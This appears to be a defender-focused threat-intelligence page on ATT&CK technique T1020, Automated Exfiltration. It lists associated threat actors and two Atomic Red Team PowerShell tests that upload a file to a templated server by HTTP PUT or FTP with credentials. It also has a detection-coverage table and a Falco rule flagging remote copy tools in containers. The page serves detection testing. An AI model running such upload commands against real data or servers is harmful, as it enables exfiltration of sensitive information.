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ATT&CK Technique

Automated Exfiltration

T1020 · exfiltration

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.

LinuxmacOSNetwork DevicesWindows

Actors Using This

14
latin_america_brazilian_organized_cybercrimeAmavaldo
russia_apt_sandwormBlackEnergy
commercial_cybercrime_uefi_bootkitBlackLotus
russia_speaking_organized_cybercrimeBumblebee Operators / EXOTIC LILY
israel_commercial_cyber_mercenaryCandiru / Sourgum
latin_america_brazilian_organized_cybercrimeCasbaneiro / Metamorfo
israel_private_sector_mobile_forensics_cyber_mercenaryCellebrite
russia_speaking_organized_cybercrimeDarkGate Operators
uae_commercial_cyber_mercenaryDarkMatter / Project Raven

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
credential-access earlier

Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsIcedID Botnet HTTP PUT
Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
powershellwindowsExfiltration via Encrypted FTP
Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 8
Analytics (MITRE CAR) none
Runtime / container (Falco) 1
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

Falco Runtime Rules

1
Container / Linux runtime detections that fire on this technique.
NOTICELaunch Remote File Copy Tools in Container
Detect remote file copy tools (like rsync, scp, sftp, dcp) launched within a container, potentially indicating data exfiltration. Suggest refining this rule to accommodate legitimate use cases.
view condition
spawned_process and container and remote_file_copy_procs and not user_known_remote_file_copy_activities

Comply & Defend

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